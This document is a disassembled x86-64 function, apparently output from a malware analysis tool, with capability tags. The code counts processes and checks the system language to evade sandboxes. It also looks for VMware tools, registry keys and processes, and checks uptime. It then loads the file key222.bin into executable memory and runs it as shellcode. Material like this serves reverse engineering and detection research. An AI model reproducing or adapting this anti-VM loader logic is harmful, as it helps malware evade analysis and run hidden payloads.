Function at 0x1400011e0
Capabilities:
Allocate or change rwx memory
Enumerate processes
Execute shellcode via indirect call
Identify system language via api
Read file on windows
Terminate process

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x4e0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x4d0], rax
call section..text
call qword [sym.imp.KERNEL32.dll_GetTickCount]
xor edx, edx
mov esi, eax
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x140001288
xor edx, edx
mov dword [rsp + 0x280], 0x238
mov r8d, 0x234
lea rcx, [rsp + 0x284]
call sub.VCRUNTIME140.dll_memset
lea rdx, [rsp + 0x280]
mov rcx, rdi
xor ebx, ebx
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x14000127c
nop word [rax + rax]
lea rdx, [rsp + 0x280]
mov rcx, rdi
inc ebx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140001260
cmp ebx, 0x3c
jg 0x140001288
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call qword [sym.imp.KERNEL32.dll_GetUserDefaultUILanguage]
mov ecx, 0x3ff
and ax, cx
cmp ax, 4
jne 0x140001559
lea r8, [rsp + 0x28]
mov rcx, 0xffffffff80000000
lea rdx, str.ApplicationsVMwareHostOpen.exe
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
test eax, eax
je 0x140001559
lea rdx, [rsp + 0x280]
lea rcx, str.C:Program_FilesVMwareVMware_ToolsVMToolsHook.dll
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
cmp rax, 0xffffffffffffffff
je 0x1400012e7
cmp byte [rsp + 0x20], 0
jne 0x140001559
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x14000130d
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, ebx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rdx, [rsp + 0x40]
mov dword [rsp + 0x40], 0x238
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
jne 0x140001331
lea ecx, [rax - 2]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov qword [rsp + 0x500], rbp
lea rdi, str.vmtoolsd.exe
mov qword [rsp + 0x508], r14
lea rbp, str.vmwaretrat.exe
mov qword [rsp + 0x510], r15
lea r14, str.vmwareuser.exe
lea r15, str.vmacthlp.exe
nop word [rax + rax]
lea rdx, [rsp + 0x6c]
mov rcx, 0xffffffffffffffff
nop dword [rax]
movzx eax, word [rdx + rcx*2 + 2]
cmp ax, word [rdi + rcx*2 + 2]
jne 0x1400013a4
add rcx, 2
cmp rcx, 0xd
je 0x140001541
movzx eax, word [rdx + rcx*2]
cmp ax, word [rdi + rcx*2]
je 0x140001380
lea rdx, [rsp + 0x6c]
mov rcx, 0xffffffffffffffff
movzx eax, word [rdx + rcx*2 + 2]
cmp ax, word [rbp + rcx*2 + 2]
jne 0x1400013d5
add rcx, 2
cmp rcx, 0xf
je 0x140001541
movzx eax, word [rdx + rcx*2]
cmp ax, word [rbp + rcx*2]
je 0x1400013b0
lea rdx, [rsp + 0x6c]
mov rcx, 0xffffffffffffffff
movzx eax, word [rdx + rcx*2 + 2]
cmp ax, word [r14 + rcx*2 + 2]
jne 0x140001407
add rcx, 2
cmp rcx, 0xf
je 0x140001541
movzx eax, word [rdx + rcx*2]
cmp ax, word [r14 + rcx*2]
je 0x1400013e1
lea rdx, [rsp + 0x6c]
mov rax, 0xffffffffffffffff
movzx ecx, word [rdx + rax*2 + 2]
cmp cx, word [r15 + rax*2 + 2]
jne 0x140001439
add rax, 2
cmp rax, 0xd
je 0x140001541
movzx ecx, word [rdx + rax*2]
cmp cx, word [r15 + rax*2]
je 0x140001413
lea rdx, [rsp + 0x40]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140001370
xor r8d, r8d
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp esi, 0x927c0
jb 0x140001541
mov r9d, 0x10
lea r8, [0x1400034a0]
lea rdx, [0x1400034b0]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
lea rdx, [0x1400034cc]
lea rcx, str.key222.bin
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
xor edx, edx
mov rcx, rax
mov rsi, rax
lea r8d, [rdx + 2]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
xor r8d, r8d
xor edx, edx
mov rcx, rsi
movsxd rbx, eax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, rbx
xor ecx, ecx
mov rdi, rbx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r9, rsi
mov r8, rdi
mov rcx, rax
mov edx, 1
mov rbx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
lea r9, [rsp + 0x30]
mov r8d, 0x40
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rbx
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140001534
mov r14, qword [rsp + 0x508]
mov rbp, qword [rsp + 0x500]
mov r15, qword [rsp + 0x510]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3